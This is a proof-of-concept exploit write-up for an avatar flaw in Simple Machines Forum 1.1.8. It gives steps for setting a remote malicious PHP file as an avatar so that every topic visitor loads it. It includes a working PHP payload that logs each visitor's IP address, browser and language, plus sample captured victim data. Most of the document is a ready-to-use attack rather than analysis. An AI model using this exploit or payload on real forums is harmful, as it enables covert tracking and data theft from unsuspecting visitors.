Simple Machines Forum (SMF) 1.1.8 - avatar Remote PHP File Execute

Simple Machines Forum <= 1.1.8 (avatar) Remote PHP File Execute PoC
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- About Vulnerability:

This vulnerability allow execute a php external file in any visitor of the forum.
The php file should have the malicious code.
The scope of the attack depends on the strength of the php file.

- Step by Step:

1) go to your profile in section of avatar.
2) put the url of the malicious php file as avatar (ex: http://target/poc.php).
3) create a new topic.

- [victims] All the people that visit the topic will be infect.


malicious file example [steal info]: (poc.php)

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$so= $_SERVER['HTTP_USER_AGENT'];
$lan= $_SERVER['HTTP_ACCEPT_LANGUAGE'];
$url= $_SERVER['PHP_SELF'];
$path= $_SERVER['DOCUMENT_ROOT'];
$archivo = 'hacks.txt';
$fp = fopen($archivo, "a");
$string = "
Simple Machines Forum <= 1.1.8 (avatar) rpfe PoC
by Jose Luis Gongora Fernandez (aka) JosS

$path$url

VICTIM: $ip

info: $so
language: $lan


";
$write = fputs($fp, $string);
fclose($fp);
?>
------END-----

cat hacks.txt

Simple Machines Forum <= 1.1.8 (avatar) rpfe PoC
by Jose Luis Gongora Fernandez (aka) JosS

/***/***/vhosts/hack0wn.com/httpdocs/poc.php

VICTIM: 88.25.92.***

info: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.19) Gecko/20081202 Iceweasel/2.0.0.19 (Debian-2.0.0.19-0etch1)
language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3


// tested on smf 1.1.8


__h0__
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